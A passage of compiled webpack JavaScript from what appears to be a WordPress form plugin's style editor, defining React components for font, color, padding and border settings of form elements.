defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-delete-color-hover',
label: (0, _utils.translate)('Icon color')
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Focus'),
value: 'focus'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F9E4E8"),
property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-delete-background-active',
label: (0, _utils.translate)('Background color'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-delete-color-active',
label: (0, _utils.translate)('Icon color')
}))
)
);
}
}]);
return FileDeleteButtonColors;
}(_react.Component);
exports.default = FileDeleteButtonColors;
/***/ }),
/* 288 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
var _radioTabs = __webpack_require__(7);
var _radioTabs2 = _interopRequireDefault(_radioTabs);
var _accordion = __webpack_require__(35);
var _accordion2 = _interopRequireDefault(_accordion);
var _empty = __webpack_require__(12);
var _empty2 = _interopRequireDefault(_empty);
var _fonts = __webpack_require__(289);
var _fonts2 = _interopRequireDefault(_fonts);
var _settingsRow = __webpack_require__(16);
var _settingsRow2 = _interopRequireDefault(_settingsRow);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var Fonts = function (_Component) {
_inherits(Fonts, _Component);
function Fonts(props) {
_classCallCheck(this, Fonts);
return _possibleConstructorReturn(this, (Fonts.__proto__ || Object.getPrototypeOf(Fonts)).call(this, props));
}
_createClass(Fonts, [{
key: 'render',
value: function render() {
var hasPagination = (0, _utils.hasFieldType)('page-break', this.props.wrappers);
var hasSection = (0, _utils.hasFieldType)('section', this.props.wrappers);
var hasSingleRadio = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'radio', 'value_type', 'radio');
var hasSingleDropdown = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'select', 'value_type', 'single');
var hasMultiCheckbox = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'checkbox', 'value_type', 'checkbox');
var hasMultiSelect = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'select', 'value_type', 'multiselect');
var hasDatePicker = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'date', 'field_type', 'picker');
var hasDateDropdown = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'date', 'field_type', 'select');
var hasTimeDropdown = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'time', 'field_type', 'select') || (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'time', 'time_type', 'twelve');
var hasAddresCountry = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'address', 'address_country', 'true');
var hasNamePrefix = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'name', 'prefix', 'true');
var hasGDPR = (0, _utils.hasFieldType)('gdprcheckbox', this.props.wrappers);
var hasCurrency = (0, _utils.hasFieldType)('currency', this.props.wrappers);
var hasSingleUpload = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'upload', 'file-type', 'single') || (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'postdata', 'post_image', 'false');
var hasMultiUpload = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'upload', 'file-type', 'multiple');
var hasESign = (0, _utils.hasFieldType)('signature', this.props.wrappers);
var hasCalculation = (0, _utils.hasFieldType)('calculation', this.props.wrappers);
var hasGroup = (0, _utils.hasFieldType)('group', this.props.wrappers);
var isPreset = !_.isUndefined(this.props.preset);
var hasPaginationHeader = _.isUndefined(this.props.settings.paginationData) || _.isUndefined(this.props.settings.paginationData['pagination-header-design']) ? '' : this.props.settings.paginationData['pagination-header-design'];
var paginationHeader = _.isUndefined(this.props.settings.paginationData) || _.isUndefined(this.props.settings.paginationData['pagination-header']) ? '' : this.props.settings.paginationData['pagination-header'];
return _react2.default.createElement(
_settingsRow2.default,
{
label: (0, _utils.translate)('Fonts'),
description: (0, _utils.translate)('By default this form will inherit the fonts your theme uses. ' + 'You can overwrite these fonts with custom ones from ' + '{{link}}Bunny Fonts{{/link}}.', {
components: {
link: _react2.default.createElement('a', { href: 'https://fonts.bunny.net/about', target: '_blank' })
}
})
},
_react2.default.createElement(
_radioTabs2.default,
_extends({}, this.props, {
property: 'form-font-family',
'default': ''
}),
_react2.default.createElement(
_empty2.default,
{
value: ''
},
(0, _utils.translate)('Use Theme Fonts')
),
_react2.default.createElement(
_container2.default,
{
value: 'custom',
label: (0, _utils.translate)('Custom')
},
_react2.default.createElement(
'div',
{ className: 'sui-accordion' },
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Response Message')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-response',
defaultSize: '15',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '400'
}))
),
(isPreset || hasPagination && hasPaginationHeader === 'show' && paginationHeader === 'nav') && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Pagination Steps')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-timeline',
defaultSize: '12',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '500'
}))
),
(isPreset || hasPagination && hasPaginationHeader === 'show' && paginationHeader === 'bar') && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Pagination Progress Bar')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-progress',
defaultSize: '12',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '500'
}))
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Fields Label')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-label',
defaultSize: '13',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '700'
}))
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Fields Description')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-description',
defaultSize: '12',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '400'
}))
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Fields Error Message')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-validation',
defaultSize: '12',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '500'
}))
),
hasSection && _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Section Title')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-title',
defaultSize: '45',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '400'
}))
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Section Subtitle')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-subtitle',
defaultSize: '18',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '400'
}))
)
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Input and Textarea')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-input',
defaultSize: '16',
defaultFont: 'Roboto',
defaultWeight: '400'
}))
),
hasCalculation && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Input Prefix')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-input-prefix',
defaultSize: '16',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '500'
}))
),
(hasCurrency || hasCalculation) && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Input Suffix')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-input-suffix',
defaultSize: '16',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '500'
}))
),
(hasMultiCheckbox || hasSingleRadio || hasGDPR) && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Radio and Checkbox')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-radio',
defaultSize: '14',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '400'
}))
),
(hasSingleDropdown || hasDateDropdown || hasTimeDropdown || hasAddresCountry || hasNamePrefix) && _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Select')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-select',
defaultSize: '16',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '400'
}))
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Dropdown')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-dropdown',
defaultSize: '16',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '400'
}))
)
),
hasDatePicker && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Calendar')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-calendar',
defaultFont: 'custom',
defaultCustom: 'inherit',
familyOnly: true
}))
),
hasMultiSelect && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Multi Select')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-multiselect',
defaultSize: '16',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '400'
}))
),
hasSingleUpload && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Single File Upload')
}),
_react2.default.createElement(
_tabs2.default,
_extends({}, this.props, {
type: 'tabs',
'default': 'upload-single-button',
extraClass: 'sui-tabs-flushed'
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
value: 'upload-single-button',
label: (0, _utils.translate)('Upload Button'),
prefix: 'upload-single-button',
defaultSize: '14',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '700'
})),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
value: 'upload-single-text',
label: (0, _utils.translate)('File Name'),
prefix: 'upload-single-text',
defaultSize: '12',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '700'
}))
)
),
hasMultiUpload && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Multiple Files Upload')
}),
_react2.default.createElement(
_tabs2.default,
_extends({}, this.props, {
type: 'tabs',
'default': 'upload-multiple-panel',
extraClass: 'sui-tabs-flushed'
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
value: 'upload-multiple-panel',
label: (0, _utils.translate)('Upload Panel'),
prefix: 'upload-multiple-panel',
defaultSize: '13',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '400'
})),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
value: 'upload-multiple-file-name',
label: (0, _utils.translate)('File Name'),
prefix: 'upload-multiple-file-name',
defaultSize: '13',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '500'
})),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
value: 'upload-multiple-file-size',
label: (0, _utils.translate)('File Size'),
prefix: 'upload-multiple-file-size',
defaultSize: '12',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '500'
}))
)
),
hasESign && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('E-Signature Placeholder')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-esign-placeholder',
defaultSize: '16',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '400'
}))
),
hasGroup && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Repeater Button')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-repeater-button',
defaultSize: '12',
defaultFont: 'Roboto',
defaultWeight: '500'
}))
),
hasPagination && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Pagination Buttons')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-pagination-buttons',
defaultSize: '14',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '500'
}))
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Submit Button')
}),
_react2.default.createElement(_fonts2.default, _extends({}, this.props, {
prefix: 'cform-button',
defaultSize: '14',
defaultFont: 'custom',
defaultCustom: 'inherit',
defaultWeight: '500'
}))
)
)
)
)
);
}
}]);
return Fonts;
}(_react.Component);
exports.default = Fonts;
/***/ }),
/* 289 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _row = __webpack_require__(8);
var _row2 = _interopRequireDefault(_row);
var _col = __webpack_require__(5);
var _col2 = _interopRequireDefault(_col);
var _input = __webpack_require__(3);
var _input2 = _interopRequireDefault(_input);
var _suiSelect = __webpack_require__(17);
var _suiSelect2 = _interopRequireDefault(_suiSelect);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var SuFontSettingsiSelect = function (_Component) {
_inherits(SuFontSettingsiSelect, _Component);
function SuFontSettingsiSelect(props) {
_classCallCheck(this, SuFontSettingsiSelect);
return _possibleConstructorReturn(this, (SuFontSettingsiSelect.__proto__ || Object.getPrototypeOf(SuFontSettingsiSelect)).call(this, props));
}
_createClass(SuFontSettingsiSelect, [{
key: 'backwardsCompat',
value: function backwardsCompat(variant, variants) {
if (!_.contains(variants, variant)) {
variants.push(variant);
}
return variants;
}
}, {
key: 'render',
value: function render() {
var prefixTheme = (0, _utils.getThemePrefix)(this.props);
var prefix = prefixTheme + this.props.prefix;
var defaultFont = 'basic-' === prefixTheme ? '' : this.props.defaultFont;
var font = !_.isUndefined(this.props.settings[prefix + '-font-family']) ? this.props.settings[prefix + '-font-family'] : defaultFont;
var fcus = !_.isUndefined(this.props.settings[prefix + '-custom-family']) ? this.props.settings[prefix + '-custom-family'] : this.props.defaultCustom;
var defaultWeight = 'basic-' === prefixTheme ? '' : this.props.defaultWeight;
var variant = !_.isUndefined(this.props.settings[prefix + '-font-weight']) ? this.props.settings[prefix + '-font-weight'] : defaultWeight;
var defaultSize = 'basic-' === prefixTheme ? '' : this.props.defaultSize;
var size = !_.isUndefined(this.props.settings[prefix + '-font-size']) ? this.props.settings[prefix + '-font-size'] : defaultSize;
var fontVariants = (0, _utils.getFontVariants)(font, window.forminatorFonts);
var variants = this.backwardsCompat(variant, fontVariants);
return _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
_row2.default,
null,
_react2.default.createElement(
_col2.default,
{ cols: '12' },
_react2.default.createElement(
_suiSelect2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Font Family'),
placeholder: (0, _utils.translate)('Roboto'),
property: prefix + '-font-family',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, font)
}),
_.map(window.forminatorFonts, function (fontData) {
return _react2.default.createElement(
'option',
{
value: fontData.family,
key: fontData.family
},
fontData.family
);
}),
_react2.default.createElement(
'option',
{
value: '',
key: 'inherit'
},
(0, _utils.translate)('inherit')
),
_react2.default.createElement(
'option',
{
value: 'custom',
key: 'custom'
},
(0, _utils.translate)('Custom user font')
)
),
font === 'custom' && _react2.default.createElement(_input2.default, _extends({}, this.props, {
type: 'text',
property: prefix + '-custom-family',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, fcus),
placeholder: (0, _utils.translate)('E.g., Arial, sans-serif'),
label: (0, _utils.translate)('Custom font family'),
prefix: ''
}))
)
),
!this.props.familyOnly && _react2.default.createElement(
_row2.default,
null,
_react2.default.createElement(
_col2.default,
{ cols: '6' },
_react2.default.createElement(_input2.default, _extends({}, this.props, {
type: 'number',
property: prefix + '-font-size',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, size),
placeholder: (0, _utils.translate)('E.g., 16'),
label: (0, _utils.translate)('Font Size'),
note: 'in px',
prefix: ''
}))
),
_react2.default.createElement(
_col2.default,
{ cols: '6' },
_react2.default.createElement(
_suiSelect2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Font Weight'),
placeholder: (0, _utils.translate)('Select font weight'),
property: prefix + '-font-weight',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, variant)
}),
_react2.default.createElement(
'option',
{
value: '',
key: 'inherit'
},
(0, _utils.translate)('inherit')
),
_.map(variants, function (fontVariant) {
return _react2.default.createElement(
'option',
{
value: fontVariant,
key: fontVariant
},
fontVariant
);
})
)
)
)
);
}
}]);
return SuFontSettingsiSelect;
}(_react.Component);
exports.default = SuFontSettingsiSelect;
/***/ }),
/* 290 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _empty = __webpack_require__(12);
var _empty2 = _interopRequireDefault(_empty);
var _paddingCustom = __webpack_require__(291);
var _paddingCustom2 = _interopRequireDefault(_paddingCustom);
var _borderCustom = __webpack_require__(292);
var _borderCustom2 = _interopRequireDefault(_borderCustom);
var _spacingCustom = __webpack_require__(293);
var _spacingCustom2 = _interopRequireDefault(_spacingCustom);
var _radioTabs = __webpack_require__(7);
var _radioTabs2 = _interopRequireDefault(_radioTabs);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var FormContainer = function (_Component) {
_inherits(FormContainer, _Component);
function FormContainer() {
_classCallCheck(this, FormContainer);
return _possibleConstructorReturn(this, (FormContainer.__proto__ || Object.getPrototypeOf(FormContainer)).apply(this, arguments));
}
_createClass(FormContainer, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
'div',
{ className: 'sui-box-settings-row' },
_react2.default.createElement(
'div',
{ className: 'sui-box-settings-col-1' },
_react2.default.createElement(
'span',
{ className: 'sui-settings-label' },
(0, _utils.translate)('Form Container')
),
_react2.default.createElement(
'span',
{ className: 'sui-description' },
(0, _utils.translate)("Customize the form container's padding and border.")
)
),
_react2.default.createElement(
'div',
{ className: 'sui-box-settings-col-2' },
_react2.default.createElement(
_radioTabs2.default,
_extends({}, this.props, {
property: 'form-padding',
settingsLabel: (0, _utils.translate)('Padding'),
description: (0, _utils.translate)('By default the form will fill the available ' + 'space where you insert it. You can add some ' + 'padding here to better suit your theme.') }),
_react2.default.createElement(
_empty2.default,
{ value: '' },
(0, _utils.translate)('None')
),
_react2.default.createElement(
_paddingCustom2.default,
_extends({}, this.props, {
value: 'custom',
boxClass: 'sui-tab-boxed' }),
(0, _utils.translate)('Custom')
)
),
_react2.default.createElement(
_radioTabs2.default,
_extends({}, this.props, {
property: 'form-border',
settingsLabel: (0, _utils.translate)('Border'),
description: (0, _utils.translate)('Add an optional border around the form.') }),
_react2.default.createElement(
_empty2.default,
{ value: '' },
(0, _utils.translate)('None')
),
_react2.default.createElement(
_borderCustom2.default,
_extends({}, this.props, {
value: 'custom',
boxClass: 'sui-tab-boxed' }),
(0, _utils.translate)('Custom')
)
),
_react2.default.createElement(
_radioTabs2.default,
_extends({}, this.props, {
property: 'fields-style',
settingsLabel: (0, _utils.translate)('Spacing'),
'default': 'open',
description: (0, _utils.translate)('Choose how much spacing you want between each form field.') }),
_react2.default.createElement(
_empty2.default,
{ value: 'open' },
(0, _utils.translate)('Comfortable')
),
_react2.default.createElement(
_empty2.default,
{ value: 'enclosed' },
(0, _utils.translate)('Compact')
),
_react2.default.createElement(
_spacingCustom2.default,
_extends({}, this.props, {
value: 'custom',
boxClass: 'sui-tab-boxed'
}),
(0, _utils.translate)('Custom')
)
)
)
);
}
}]);
return FormContainer;
}(_react.Component);
exports.default = FormContainer;
/***/ }),
/* 291 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _col = __webpack_require__(5);
var _col2 = _interopRequireDefault(_col);
var _input = __webpack_require__(3);
var _input2 = _interopRequireDefault(_input);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var paddingCustom = function (_Component) {
_inherits(paddingCustom, _Component);
function paddingCustom(props) {
_classCallCheck(this, paddingCustom);
return _possibleConstructorReturn(this, (paddingCustom.__proto__ || Object.getPrototypeOf(paddingCustom)).call(this, props));
}
_createClass(paddingCustom, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
'div',
{ className: 'sui-row',
style: { marginBottom: '10px' } },
_react2.default.createElement(
_col2.default,
{ cols: '3' },
_react2.default.createElement(_input2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Top'),
type: 'number',
placeholder: '0',
property: 'form-padding-top'
}))
),
_react2.default.createElement(
_col2.default,
{ cols: '3' },
_react2.default.createElement(_input2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Bottom'),
type: 'number',
placeholder: '0',
property: 'form-padding-bottom'
}))
),
_react2.default.createElement(
_col2.default,
{ cols: '3' },
_react2.default.createElement(_input2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Left'),
type: 'number',
placeholder: '0',
property: 'form-padding-left'
}))
),
_react2.default.createElement(
_col2.default,
{ cols: '3' },
_react2.default.createElement(_input2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Right'),
type: 'number',
placeholder: '0',
property: 'form-padding-right'
}))
)
),
_react2.default.createElement(
'span',
{ className: 'sui-description' },
(0, _utils.translate)('Set your custom padding in pixels.')
)
);
}
}]);
return paddingCustom;
}(_react.Component);
exports.default = paddingCustom;
/***/ }),
/* 292 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _row = __webpack_require__(8);
var _row2 = _interopRequireDefault(_row);
var _col = __webpack_require__(5);
var _col2 = _interopRequireDefault(_col);
var _input = __webpack_require__(3);
var _input2 = _interopRequireDefault(_input);
var _suiSelect = __webpack_require__(17);
var _suiSelect2 = _interopRequireDefault(_suiSelect);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var borderCustom = function (_Component) {
_inherits(borderCustom, _Component);
function borderCustom(props) {
_classCallCheck(this, borderCustom);
